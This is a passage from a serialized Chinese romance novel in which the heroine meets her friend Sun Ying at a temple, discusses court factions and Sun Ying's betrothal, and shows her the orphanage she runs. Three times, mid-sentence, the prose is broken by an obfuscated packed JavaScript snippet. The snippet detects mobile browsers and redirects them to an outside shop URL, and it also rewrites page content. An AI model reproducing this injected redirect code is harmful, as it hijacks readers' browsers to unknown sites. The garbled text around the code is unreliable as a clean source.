下聘之事，常嬷嬷一一说给她听，她想着霍抉那沉甸甸的诚意，心底翻涌着陌生的悸动，她可以信他吗？理智告诉她，承诺是最不可信的，可心底有了声音却活跃着，霍抉或许可信。 忐忑一晚，终是没有一个完美的答案。 翌日，天光晴好，是个赏梅的绝佳天气。 她撑着霍抉早已准备好的马车，前往永安寺，马车行得极稳，几乎感觉不到颠簸，车内铺设着厚厚的绒毯，角落固定着暖炉，散发着融融热气，小几上甚至还备着一叠她平素喜欢的点心和一壶温热的红茶，细微之处，皆是周全。 今日她与孙颖约定的日子，便穿了月白色的缎子绣银梅的夹袄，配着浅碧色的棉裙，外罩一件莲青色出凤毛的斗篷，素净得宛如一枝将开白梅，今日的她只带了芙蓉一人随侍。 行至半山，人迹渐稀，能隐约听到悠远的钟声，空气清冽，空中浮动着若有若无的冷梅幽香。 山径转弯，便是永安寺了，自从有了穿越一事，姚知韫便对神佛有了敬仰，到了永安寺门口，自然是要虔诚，她下了马车，准备徒步而上，有了上一世的病体，这一世她格外注意身体，瑜伽锻炼从未间断，只是爬个台阶自然不在话下。 姚知韫虽对永安寺本就熟悉，只是以往都是从后门进入，这还是第一次从正门而入，寺庙建在高耸的山间，台阶入云，永安寺的梅花久负盛名，从山脚蔓延至寺内，都是磅礴的梅海，白梅如雪，红梅似火，粉梅若霞，清雅绝尘，迸发着烂漫的生机，于这寂寂冬日，傲然盛放，幽香浮动。 她的眼底映着这片惊心动魄的绚烂，纵使她见过不少景致，也还是为这天地造化的慷慨与寺僧多年养护的匠心所震撼。 她不自觉地深吸一口气，清冽的梅香盈满肺腑，仿佛也在这呼吸间被涤荡开去。 霍抉隐在数步之外的梅林阴影处，目光却不由自主地追随着她的身影，阳光透过疏密有致的梅枝，在她白皙的面颊上投下明明暗暗的光影，唇瓣轻抿，神情靖宁，比满林梅花更让他移不开眼。 只是鼻尖看上去怎么有些泛红。 他微微蹙起眉心，是他疏忽了，虽然出门穿了斗篷，可终究是山里，她衣衫还是薄了，还是要帮她准备几件厚实些的，最好再寻一领银狐裘——？ 他指尖摩挲着手中的庚帖，洒金的红笺被他握得有些发烫。他垂下眼，唇角压着一丝极淡的弧度，又将庚帖往袖口拢了拢，望着她的身影进了寺门，才闪身朝着寺里大步走去。 姚知韫并不知道在梅林深处有道沉默的影子，她只是提着裙角，一步步向上走，天光从身后追来，将她素净的身影拉得很长。 孙颖已有交代，一入寺门，便有小僧尼迎了上来，“女施主，孙施主在听香阁候着您。” 姚知韫双手合十，对小僧尼行了礼，一前一后跟着往前走，转了两个转角，便是梅林了，脚下是松软的，覆着残雪与落花的泥土小径，四周格外寂静，风声穿过梅梢簌簌轻响，花瓣随风零落，有几片沾在了她的斗篷兜帽上。 听香阁是一座半悬于山崖的精致小轩，以竹木构建，玲珑剔透，此刻轩窗大开，正对着这最繁盛的一片梅林，是整座永安寺里赏梅的绝佳所在。 孙颖早早在阁中等候，炭火烧得正旺，茶香袅袅，她今日穿了一身鹅黄袄裙，娇艳明媚，她与姚知韫是两种不同的类型。 姚知韫立在那里，像芙蓉花，不雍容华贵，不灼灼其华，却是风露清愁的芙蓉，像晨雾将散未散时天边一痕羞怯的光，花形不大，甚至看上去有些纤弱，可偏偏这样的花，偏要在百花凋零的深秋开放，春来不争，夏临不竟，只在霜冷时节，独自临水照影，自有那么一副欲说还休，欲诉无人的风流袅娜。 孙颖则全然不同，她是蚕丝海棠，春日里最不知收敛的那一枝，尚未走近，那明艳便落满人眼，更像晨曦初破时天边最浓丽的那一抹霞光，她开得理直气壮，毫不吝惜自己的颜色，明媚、娇艳、坦荡，叫人看了便心生欢喜，忍不住驻足。 两人静坐听香阁。 一支清而不寒，孱弱姿态里藏着拗不过的固执。 一枝占尽春风，明媚中骨里含了藏不住的坦荡。 皆是人间绝色，只是——海棠太艳，芙蓉清孤。 姚知韫到来时，孙颖若正凭窗远眺，闻声回头，脸上绽开明快的笑容：“姚妹妹，你来了——”说着话连忙起身拉着姚知韫坐下，眼睛亮晶晶的，是姚知韫在赏菊宴和书院雅集上都没看到过的光芒。 她笑了笑，接过孙颖递来的茶，指尖温热，垂下眼帘，看着杯中舒展的茶叶，淡淡道了声谢。 两个人能否成为朋友，第一眼便注定了。 她喜欢孙颖，从第一次见面的时候便喜欢。她从那头走来，步履生风，张扬得理所当然。雅集上她有意接近，两人聊着，仿若多年的故人，与孙颖相处不费力。 她承诺送了绿萼梅，也意外地送了她铃兰，她自然更加欣喜。 她心下欣喜，她前世只有病友没有朋友，算起来孙颖便是她第一个闺中好友，如果孙颖也这么想的话。 想到这里，姚知韫从袖中取出一个匣子递了过去。 孙颖接过，匣子是平平整整，不似寻常礼盒那般披红叠彩，只在盖角刻着一株疏疏落落的海棠。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286591|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微一怔，轻轻掀开。 一支银簪。 簪头是一朵半开的海棠，开到七分，挤挤挨挨缀了满枝，花心处攒着细细的银蕊，银质并不是她惯常所见的那般光亮，是反复錾刻、细细打磨后透出的、柔和的亚光。簪脚内刻了一个极小的‘颖’字。 “闲来学着錾刻，练了许久，只得这一枝勉强能看。手艺粗陋，比不得工匠精细。”姚知韫笑着，她第一眼看着孙颖，就觉得她像海棠，便亲手雕了这支银簪。虽不贵重，却是她的心意。 孙颖将银簪拿在手中，爱不释手地左右打量，“喜欢，谢谢姚妹妹——” 姚知韫又喊了芙蓉。芙蓉进门便将两个巴掌大的青瓷小罐放在旁边，退了出去。 罐口以蜡密封，贴着细长的红签，一签写“秋桂”，一签写“丹桂”。 “还有这个，桂花是院子里种的，一为早桂，一为丹桂。酿成蜜，可佐茶，可入馔，也可——冬日无事，舀一勺兑水喝。” 孙颖则是一刻都等不了似的，便将簪子戴在头上，“簪子我喜欢，至于这花蜜我也是喜欢的，往后若我吃完了再来讨，你可别吝啬。” “自是不会，你喜欢便好。” 一时间，两人天南海北地聊着，聊着聊起霍抉下的聘礼，聊起京城各个关系。 她压低声音说：“今上登基三十四年了。庆丰十四年栾王谋反失败，今上疑心就愈发重了，削藩收权，几个兄弟更是死的死，残的残。为了恢复元气改国号为同光，如今太子三十岁，二皇子亦二十有九了。” 孙颖的目光悠悠地看向窗外，继续道，“若今上春秋鼎盛，自是没事。可毕竟圣寿渐高，人心便容易浮动。” 姚知韫转动茶盏的手微微一顿，是呀，人心浮动，霍抉这把刀就更显得珍贵，谁都想要，可谁又都要不到，得不到手的东西自然也不能让别人得了去，那就只能毁了，皇上如此，太子与二皇子亦是如此。 可她没有接话，只是端起盏茶，氤氲热气遮住了眼底的涌动。 孙颖见姚知韫不说话，以为她没明白，她笑了笑，想着她关在府里七年多，对这些不清楚也是正常的，便想接着道，“如今皇上有意将于婉茵许给太子做侧妃，我兄长在翰林院任职，赐婚的圣旨已经在拟定了，太子势弱，此举皇上怕是为太子造势，有了于蒋军的扶持，太子不至于在二皇子面前招架不住。” 于婉茵？那日那个颇有些跋扈的女子？于幽禾的女儿，太子外戚不强，若是有个手握兵权的岳父，自然是好的。 姚知韫垂眸，看着茶汤在盏中轻轻漾开，此举皇上确实是为太子造势，可不一定是为了保太子地位。一味纵容二皇子势力坐大，便是威胁。对坐在皇位上的人来说，便是威胁。 崔家、于家、太子、二皇子，这些人怕的都是皇帝的棋子，而霍抉便是这微妙平衡中新加入的一股势力，二皇子有崔家的支持，霍抉有兵权，如今太子有于家，三足鼎立，局势才能平衡，朝堂上那位还真是好算计。 只是，皇帝如今已是年迈，储君一事必定会尽快有结果，到时候霍抉该当如何？ 这个念头划过脑海时，她自己先微微一怔。随即扯出一抹无奈的笑意，曾几何时，她对这些朝堂博弈避之不及，只愿缩在姚府的高墙后，数暖棚里的瓜果开花。如今竟也学会了……以帝王之心，度帝王之谋。 原来一个人想要守护什么的时候，便不得不长出爪牙。 49. 昌平伯府 孙颖长叹一口气，看着姚知韫的目光便多了些同情之意，“姚妹妹，你以后是霍抉的妻子，夫妻一体，这些错综复杂的关系，即便你不愿意，也是跑不掉的。” 她也不等待姚知韫的回答，径直说道：“崔家自崛起以来，虽贵为第一世家，可却从未出过皇后。如今有了二皇子做仪仗，自是一心为其筹谋，若是事成，这后位必定是崔家女。”说着她看着姚知韫，“可崔家虽然势大，手中却没有兵权。若是于婉茵嫁入太子府，定然不会成为二皇子的助力。” “侯爷如今手握兵权，在朝中却没有根基，自然会成为崔家的首选，可若是如此，今上——” 孙颖未尽的话语，姚知韫听懂了，她笑意更甚，孙颖能这么推心置腹地说这些情况，说明她真的将姚知韫视作朋友。只是看她说这些话的时候面色晦暗，眼底也闪过失落。 “你怎么了？有什么不顺心的事？” 孙颖轻轻叹了一口气，目光悠悠地看向窗外。 “姚妹妹，我也要定亲了。” 姚知韫眉尾轻挑，很是诧异，她想起明德书院雅集那日，孙颖看向崔景衡的目光，炙热又闪避。她不会看错的，喜欢是从来藏不住的。“你——”她犹豫着，却终究没有问出口。 孙颖看见她的欲言又止，嘴角泛起了一抹苦笑，她垂下眼帘，指尖轻轻摩挲着茶盏的边缘，“你看出来了吗？” 姚知韫没有接话，只是舀了一勺水，缓缓注入孙颖的茶盏。 孙颖沉默了良久，才再次开口：“也不怕你笑话，崔家大公子那样的人物，满京城有几个姑娘不曾悄悄心悦？只是——”她抬起眼，笑了笑，只是一抹笑意淡得缥缈，更像是自嘲。“我十岁那年第一次看见他，清风朗月，彬彬有礼，是如玉一般的公子，我便心悦于他。可我谨守本分，不曾逾矩。我也知道，我们家与崔家不可能联姻。” 孙颖说完，便沉默下去，只是将手中的茶盏在掌心静静地转了一圈又一圈。 姚知韫望着她，没有说话，可她心里还是把霍抉说过的话一句一句翻了出来。那些冰冷的朝局博弈、家族兴衰，落在一个女子身上，是这样温热地疼。 在这样一个时代里，孙颖是不幸的，她生在规矩里，在规矩里长大，也从未有过真正的自主权与选择权，她的喜欢不被尊重，也不能宣之于口，只能强行咽下，她的身后从来不是自己，而是一整个家族。 可她终究又是幸运的，没有成为家族攀附的筹码，换取家族的荣华。即便以后成婚，父亲也会为她选一个品行贵重的人。有家族庇护，婆家也不会轻看她。除了自己的心愿，一切在外人看来，她都会是个有福气的人。 姚知韫不自觉地想到了自己，想到了霍抉，悄然地叹了口气，自己也是幸运的，霍抉至少给了她选择权，对她也是爱护有加，相比之下，自己和孙颖一样。 霍抉知道孙颖有意与她交好，便仔仔细细地与姚知韫说了昌平伯府的事情。听完霍抉的讲述，姚知韫才明白，为何孙颖这样的性情与那孙氏如此不同。原来是歹竹出好笋，有王夫人那样的母亲教导，孙家三兄妹自然家教甚好。 说起昌平伯孙鹤年，也是一把辛酸泪，本来这爵位落不到他头上的，他只是庶子，还是一个地位尴尬的庶子，当年的昌平侯夫人多年未有子嗣，被老夫人逼迫抬了身边的一个丫鬟做姨娘，生下孙鹤年后去母留子，可转了年侯夫人便生下了嫡子，有了嫡子孙鹤年的地位就更为尴尬，为保性命他自请离开侯府到清源书院读书，也是在那个时候，山长王守看重他的人品，便将女儿王清华许配于他。 孙鹤年也是知恩之人，又吃了庶子的苦，婚后与王夫人琴瑟和鸣，未曾纳妾，王夫人生下了两子一女，长子是同光十四年的进士，如今在翰林院任职，以后也是前途无量，次子十岁，如今也在清源书院读书，女儿孙颖更是备受宠爱，却也未恃宠而骄。 可峰回路转，嫡长子刚立了世子，便与人在香楼起了争执，被人推下楼摔死了。侯府没了嫡长子，而侯夫人膝下只有一个女儿，便是英国公府的孙氏。侯府的那些姨娘竟也未再生下一儿半女。 昌平侯不得已，只得又将孙鹤年立为世子，孙鹤年也是格外争气，同年，孙鹤年不仅中了举，入了翰林院。昌平侯经历了丧子之痛，早早没了心气。又看孙鹤年如此争气，便请旨将爵位传给孙鹤年，在家做起了闲翁。 而昌平侯府，降爵传承，便有了如今的昌平伯。 孙鹤年有才华又踏实肯干，一路擢升直至吏部尚书，掌管着官吏选授，勋封，考课之政令，自然是皇子们拉拢的对象，崔家又怎么会没动过这样的心思。只是孙颖的兄长孙懋修早早娶了谢家的女儿，次子又尚年幼，崔家若是急了，定然是会把主意打到孙颖身上。 只是这孙大人两边不靠，只在自己的位置上兢兢业业，皇上很是倚重他，如此谨慎之人，做个纯臣才是明智之举，只忠于皇上，将来无论是谁即位，都不会为难他。 可若是在其中得罪了崔家，二皇子一旦上位，孙家怕也是会被打压的，这应该才是孙鹤年急于要给孙颖定亲的原因。 若是如此，孙家给孙颖选的夫婿便不会显赫，多半是会在那些科考的举子中择选，可姚知韫的那句“是谁？”却始终问不出口。 孙颖长长叹了一口气，似乎看出她的疑惑，“是我舅父家表兄，王嗣源。” 竟然是王家的人，晋阳王氏与当年的霍氏皆是百年世家，前朝动荡，王恕便带着一家人北迁到连县。秉持着“儒素传家，不慕荣利”的家训，从此连县这一支便从未有人入仕，主要以累世讲学、著述为业。开设的清源书院更是一股清流，只问才学，不问出身，便有诸多寒门学子投其门下。 王家的清源书院与崔家的明德书院甚是不同。明德书院花团锦簇，冠盖如云，每日迎来送往的，是帖子上烫金的姓名，也是未来的无限前程。 清源书院方兴未艾，气势如虹，藏书楼里旧椠琳琅满目，在士林之中隐隐有与明德书院分庭抗礼之势。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291018|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “王家门风严谨，又是书香门第……”姚知韫说着，好像也不知道要说些什么，这个时候任何的安慰都显得格外苍白无力。日子好不好的，总是要自己过的，她没办法感同身受。 孙颖将手中已经冷却好久的茶一饮而尽，无奈地扯出一个笑：“小时候，在清源书院住过一些时日。舅舅教我《尚书》第一篇，我嫌‘曰若稽古’太拗口，偷偷跑去后山溪边捡石头。母亲找了半日，外祖父却只说：‘渠爱山水，是好事。文章本从天地中来，先识得天地，再识得文字’” 她抬起手，轻轻比画了一下，“那溪水真清。我蹲在岸边，能看见水底每一颗石头的纹路。我玩着玩着便忘了时辰，表哥找到了我，把我带回家，又替我挡了母亲的责打。” 孙颖无奈地笑着，声音却比方才清朗了许多，像春日刚融了冰的溪水，“不用担心我，我好歹与表哥算得上青梅竹马，又有舅舅护着，我在王家至少不会受委屈。” 说完她已经收起了脸上的暗色，看着姚知韫，“倒是你，我听母亲说，霍家明年开春便要进京了，那也是个虎狼窝，你又是这样轻软的性子，到时候吃亏的便是你了。你可要做好准备。” 姚知韫微微愣了一下，神色微微一沉，是了，还有霍家。 孙颖以为她有些害怕，便继续道：“王家有个远房表姐嫁到了霍家，应也是要跟着进京的。要不我帮你打听一下霍家的情况？” 姚知韫感受到孙颖的善意，敛去情绪，淡淡一笑，“若到时候真的需要，我定然是会去麻烦你的。” 听着姚知韫的话，孙颖瞬间觉得与姚知韫之间的距离拉近了，心里更是欣喜。两人聊着，一时间忘了时间，直到孙颖的丫鬟碧禾提醒：“午膳时间到了，小僧侣来询问是否准备素斋。 姚知韫想着既然已经来了，不如去清慈院看看，她也好久没见到那些孩子们了，便提议孙颖一起。孙颖本也是活泼的性子，两人一拍即合，便跟着姚知韫去清慈院。 两人出了听香阁，沿着梅林深处蜿蜒下行，看着眼前的景致渐渐换了模样。 梅花渐疏，松柏渐浓，转过一道山坳，豁然开朗处，一片灰瓦白墙低矮院落静卧在山坳之中，与山门前那巍峨壮丽的寺庙不同，此处旁边只有几株老柿子树，枝头还挂着几个干瘪的柿子，在冬日的阳光下泛着暗红的光。 院门是寻常的松木板，刷着深褐色的漆，本该是经年风雨的痕迹，却被画上了五颜六色的小花、小草、小动物，显得格外童趣，门楣上没有匾额，只钉着一块小小的木牌，上面用墨笔写着“清慈院”三个字。 笔迹不算工整，甚至有些稚拙，像是孩子写的。 孙颖站在门口，微微怔住：“这边的清慈院？”她也听过这个地方，是个专司收养流浪孩童的地方，由永安寺住持了缘大师牵头建立，安置在永安寺的后院。她随着母亲到永安寺上香，也会捐上些许银两，愿意为它捐献一处清幽禅院。 与眼前这光景相比，还是相去甚远。 50. 清慈院 “这是——？”更合适。孙颖问道。 姚知韫笑笑没有回答，只是抬手轻轻地叩了叩门，门很快被拉开一道缝，一颗小脑袋探了出来，是个七八岁的女童，穿着洗得白白的灰布棉袄，脸蛋红扑扑的，眼睛却极亮，像山间泉水洗过的黑石子。 那女童看见姚知韫，眼睛倏然睁大，那本就亮晶晶的眼睛里迸发出喜悦。 “韫姐姐——！”她一把将门拉开，整个人扑了过来，抱住姚知韫的腰，脸埋在她的腰间，使劲地蹭了蹭，“你怎么来了？” 姚知韫蹲下身，轻轻摸了摸她的头，声音没了往日的冷淡，倒是柔和了许多，“姐姐正好今日到寺里，便来看看你们，念念想姐姐了？” 被唤作念念的女童抬起头，咧着嘴笑着，露出缺了一颗的门牙，正想说些什么，却突然意识到还有旁人，慌忙地松开手，退后一步，有些局促望着孙颖。 姚知韫牵起她的手，转向孙颖，“这是慈念，念念，这是颖姐姐，是姐姐的好朋友。” 慈念望着眼前的漂亮姐姐，这是韫姐姐第一次带人来，想来是和韫姐姐关系好的姐姐，她随即落落大方地唤了一声“颖姐姐”，又有模有样地行了个略显生涩的礼。 孙颖学着姚知韫的样子蹲下来，摸了摸慈念的头，笑着应道，“念念真乖——。” 姚知韫已经直起身，目光越过慈念的头顶，望向院子里。 院里有七八个孩子，大的十一二岁，小的不过四五岁，有的蹲在地上玩石子，有的坐在廊下埋头写字，说是写字，其实也就是拿着树枝在地上划，还有两个年纪稍长的女孩，正在井边打水，水桶比她们的腰还粗，两人合力才勉强拎起来。 听见动静，那些孩子齐刷刷地抬起头，望了过来。 然后，便是一阵欢呼，丢下手里的东西，一股脑儿全部涌了过来，将姚知韫团团围住，有的扯她斗篷，有的抱她的腿，还有一个小不点够不着，急得直跳脚，抓着旁边人的衣摆往上蹦，可每个人的嘴里都喊着“韫姐姐”。 姚知韫被围在中间，莲青色的斗篷上很快沾满了小手印，她却不见半分不耐，只是笑着，一点点地摸过去，嘴里说着“清川长高了”，又问着年龄小一些的，“清松有没有听慈嬷嬷的话，”等等。 孙颖站在一旁，静静地看着，这样的姚知韫她从未见过，以往看到的她总是淡淡的，温柔，淡然，却总是隔着一层若有若无的纱，看得见却摸不着，即便方才两人聊得那般投机，她也笑着，虽也亲近却依然有着分寸。 此刻的她却是不一样的。 那样的笑，没有距离，从眼底漫到眉梢，又从眉梢溢出来，溢得到处都是。 阳光从头顶照下来，落在她的脸上，而她在这片暖融融的光里，脸上与眼睛里没有任何掩饰的东西。 孙颖望着那张脸，竟然有些移不开眼。 她定是常来这里的吧。或者这才是她本来的样子。 “走吧！”姚知韫的声音打断了孙颖的思绪，她笑着邀请孙颖。 孙颖不自觉地跟着她笑了起来，那个邀请似乎在邀请进入她的世界。随着她的脚步进了这个院子。 院子很大，方方正正，四面的院墙灰扑扑的，却不显破败。 正中的屋舍占了整个院子最好的位置，应该是五间打通后，隔成了三间宽敞的大屋，门窗都敞着，能看见里头整齐地摆放着长条桌与矮凳，桌上搁着砚台，显然是讲学的地方，虽简陋却气派。 左右两侧却被分成一间间的小屋子，门上都挂着一块小小的木牌，上面标注着门牌，应该是住人的地方。 大门的左手边是厨房，有个五十岁出头的嬷嬷，头上包着靛蓝的头巾，正弯着腰在灶台前忙碌着，灶膛的火光映在她布满皱纹的脸上，她也不抬头，只专注地搅动着咕嘟咕嘟冒着热气的什么，灶台边叠着几摞粗瓷碗。 右手边的角落却堆得满满当当，一些冬日里储存的菜，劈好的柴火排得整整齐齐，码得比人还高，像受过检阅的兵。 她们进来以后，院子里顿时喧闹起来，却被正屋走出来的一个十五六岁的少女——她穿着蓝布棉袄，头发用一根木簪挽起，面容清秀，神情比同龄人沉稳许多。 她边走边拍着身上的灰尘，先是与姚知韫打了招呼，便转过头对着喧闹的孩童拔高了声音道，“开饭了，都该去做什么了？” 那些孩童好似很害怕那个少女，听见声音便一哄而散，有的去了厨房，有的去搬桌椅，开始有序地忙碌起来。 “阿慈，”姚知韫唤着少女的名字，“这是孙小姐。” 两人互相见了礼，那个叫阿慈的少女便笑着迎了两人往里走。 “入冬的炭还够用吗？” 阿慈摇摇头，声音平静，“只够再撑半个月，不过一凡方丈说，腊八那天寺里有法会，能分到一些米面，但炭怕是指望不上，不过孩子们多捡一些柴火，总能过去的，阿韫不用担心的。” 姚知韫沉默片刻，点点头，“我知道了。”她没再多说，但孙颖看着她微微蹙起的眉心，她在家也是帮母亲管过家的，知道炭火的买卖需要政府印信与小票，而且价格也昂贵，寻常百姓家都是烧柴火，炭本身就很奢侈，更何况是清慈院这种靠着接济度日的地方，更加不可负担了，但对于世家来说则是相对灵活。 “姚妹妹，”孙颖忽然开口，见姚知韫回头她才接着道，“炭的事情我可以帮忙的。” 姚知韫微微一怔。 孙颖不让她推辞，抢先道：“你也知道，炭这种东西对昌平伯府来说不算难事，更何况舅父的清源书院每年冬至都有‘施寒衣’的例，柴炭、旧衣、粮食，多少都会往外拨一批，今年我开口，让他拨一份到这里来便是。” 姚知韫知道如今的孙颖只是昌平伯府的小姐，当不得昌平伯府的主，张口便想推辞，却被孙颖轻轻压了压袖子，将她的话堵了回去。 “这些东西，我是给他们的，又不算给你的，你就不要推脱了。” 姚知韫本来是想请霍抉帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295793|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，可孙颖如此说了，她便没有了推辞的理由，又想着她今日既然来赴约，本就是将孙颖当作朋友了，若再推辞怕是拂了孙颖的面子，她望着孙颖，很久很久，随即释然地笑了，说：“好，那我就代这些孩子们，谢谢孙姐姐了。” “我也做不了什么大事，但这点小事，我还是能做的。”孙颖说着，脸上的笑意比平日少了几分明艳，却多了几分温柔。 两人相视一笑，心里都多了一些东西，也更亲近了。 厨房那边，嬷嬷把锅盖掀开，一团白蒙蒙的热气腾起来，裹着浓郁的香气，慢慢散开。 阿慈从厨房走出来，手里抱着两个干净的粗瓷碗，见两人还站在院子里说话，脚步一顿，没有上前打扰，只是静静地站在一旁。 姚知韫看见了阿慈的身影，转过身笑着看向孙颖，问道：“孙姐姐介意和他们同桌而食吗？” 虽是笑着问的，但她问得有些迟疑，倒不是怕孙颖嫌弃，她知道孙颖不是那样的人，只是孙颖是昌平伯府的小姐，从小到大被规矩套着长大，事事有章法，她怕孙颖不能如她这般自在。 孙颖听出她话里的那点迟疑，却也不恼，反倒笑着牵起了姚知韫的手，径直朝着摆好的桌子旁走了过去，“自然不介意。” 靠近厨房边，一字排开六张方桌，五张方桌摆着八副碗筷，另一张上面却只放着两副，显然是给她们特意准备的，姚知韫径直走到那张摆着两副碗筷的桌子旁，让孙颖坐下，自己则在她旁边落了座。 见姚知韫她们坐定，阿慈便扯着嗓子喊：“大家吃饭了！”话音刚落，“呼啦”一声大家都围了过来，有序地各自落座。 桌上只有几个简单的小菜，一碟青瓜，一碟萝卜，还有一碟腌菜，外加一盆热气腾腾的汤面，油亮的面汤里浮着焦香的葱末和肉末，勾得人口水大咽。 姚知韫看着，笑意更深了，说：“我馋春婆婆这口很久了，孙姐姐可得尝尝，春婆婆的炝锅面做得很是地道。” 孙颖的目光落在那碟青瓜上，青瓜切得薄薄的，码得整整齐齐，碧绿脆爽，眼底闪过诧异，这可是新鲜蔬菜，在这冬日里就算是宫里也是难得的，更何况是清慈院里竟然有这般稀罕物，她不免瞥了一眼姚知韫，对这清慈院起了几分好奇。 她原本以为姚知韫只是和清慈院熟悉，可看着姚知韫在这里如此放松，又如此熟悉环境，难不成这清慈院是她的？即便不是，也与她脱不了干系，想到这里，孙颖突然庆幸她主动与姚知韫相交，这样的人，是可以成为朋友的人，她从第一次见到姚知韫就喜欢这个姑娘，没有什么原因，第二次在明德书院的雅集，她便起了心思，主动与姚知韫亲近，今日深交，更觉得姚知韫是个值得交往的人。 至于这清慈院，姚知韫不说，她也不多问。 姚知韫像是知道孙颖在想什么，夹起一片青瓜，放在孙颖面前的碗里，“这是我暖棚里种的，孙姐姐若是喜欢，我便让人送一些给你。” “那我就不和妹妹客气了。” 51. 有序 一顿饭吃得安静祥和，没有高门府邸那套规矩拘着，却不见半点喧闹，孩子们捧着碗，一口一口吃得认真，偶尔抬起头，朝着姚知韫这边看了一眼，姚知韫看回去，便抿着嘴笑一笑，又埋下头去。 小桃和碧禾由阿慈领着和大家一起吃了饭，与孩子们挤在一处，小桃是老熟人了，可碧禾却是第一次，起初还有些拘谨，不一会儿便被身边那个缺了门牙的小丫头逗得笑出声来。 吃完饭，也很有序，大家各自做着自己的事情，仿佛这些事情都提前安排好了，有人帮着春婆婆洗碗收拾桌子，有人整理着院落，大的照顾小的，四五岁的孩子也都知道自己要做什么事情。 饭毕，不等吩咐，孩子们便各自散去，做起自己的事来。像是有一套看不见的规矩刻在骨子里，无须人提点，人人都知道自己该做什么。 几个大些的女孩帮着春婆婆收拾碗筷，挽起袖子动作麻利得很。两个男孩正将劈好的柴火码齐，高的递，矮的接，一声不吭，配合得像是练过千百回。 几个孩子拿着扫帚，将吃饭时落下的菜叶碎屑扫作一堆。扫帚比人还高，最小的那个使不上劲，便蹲在一旁，把扫帚的碎屑一把一把捧进簸箕里。 还有稍大些的孩子，带着几个更小的，坐在廊下晒太阳，那小的便咯咯咯笑起来。 四十多个孩子，大的不过十一二，小的才刚会走。 日头从柿子树梢斜斜照下来，在院子里铺了满满一地碎金。厨房里飘出洗碗的水声，廊下有孩子的笑声，角落里有人在念书，有人在扫地，有人在晒太阳打盹。 明明是清苦至极的地方，却让人觉得满院都是暖意。 孙颖静静地看着，半晌没有言语。 她心想，这才是家。 老的护着小的，大的带着小的，各人做各人的事，人人有自己的一份。 孙颖看得入神，甚至有些羡慕，她从小长在昌平伯府，院子里有多少腌臜事，各房之间相互算计，她兄妹从小又吃了多少亏，能安稳地长大，已经是万幸了。 姚知韫与孙颖并肩坐着，目光落在一院子零零落落却又热热闹闹的孩子们身上。阳光下，两人脸上的笑意，便没断过。 见阿慈做完了手上的活计，姚知韫便招呼她过来，也不避着孙颖，便问起了清慈院的一些事宜。阿慈应对得体，声音不卑不亢，条理分明，把哪几样物资吃紧、哪几个孩子功课好、哪几个身子弱需要多照看说得清清楚楚，明明白白——便是大宅院里那些被精心调教出来的大丫鬟，也不过如此了。 姚知韫听着，唇边笑意更深了些，她转向孙颖便介绍起了阿慈，阿慈是她救下的第一个孤儿，当年她父母犹在，那一日便带着她到永安寺来上香，就在永安寺的梅林捡到了奄奄一息的她，没地方安置，便与了缘大师讨了一间厢房先安置下来。 清言则是阿慈在路边捡回来的，当年的清言只有五岁，家乡遭了灾，父亲在路上被流民打死了，母亲护着他一路逃难到了京城，自己也撑不住饿死了，阿慈下山采买在路边听到微弱的哭声，才从他死去多时母亲怀中救下他。 后来又有了春婆婆，再后来人就越来越多，了缘大师慈悲，便将这废弃的后院拨给了她，让她安置这些可怜的孩子。 后来，父母去世后，她孤身一人，感同身受，便花了些钱整修了这里，取名清慈院。 她还请了先生教他们读书识字，有了知识才能懂道理。这些孩子也都很懂事，小小年纪便出去做工，后来她才规定只有满十五岁才可以出去做工。那些大的孩子长大后便出去赚钱，每个月领了月钱就送回清慈院。 听罢姚知韫的话，孙颖怔怔地望着她，半晌没有说话，好久才找回自己的声音，开口时有些涩，“这么说来，这清慈院竟然是你一手做起来的？” 姚知韫只是笑笑不说话，目光又落回到那群孩子身上。 阳光下，她的侧脸安静而柔软，像一朵开在角落里的芙蓉，不言不语，却把整个院子都照亮了。 姚知韫听完阿慈的话，开口询问：“孟先生呢？” 阿慈见姚知韫并不避讳孙颖，便低低地开了口，“孟先生说清言开了年便能参加会试，他再教清言便是有心无力了，便想给清言请个先生，今日下山去见同窗，明日一早便回来了。” 姚知韫闻言也沉默下来，这确实是个问题，清言读书有天赋，这些年来一路从童试到乡试，都很顺利，今年乡试更是考了第七名，若能得到一个好的老师，春闱中举也不说不可能。 姚知韫只是轻轻地说了一声“知道了”，便问起了清言。 “清言去了寺里抄经书，晚些时候便回来了。” 在一旁静静听着的孙颖却忽然开口，唇边带着笑意，“若是妹妹不嫌弃，不如让清言去清源书院读书？只是舅父向来严格，怕是要有一番考较的。” 姚知韫抬眼望去，孙颖迎着她的目光，笑意更深了一些，语气却认真起来。 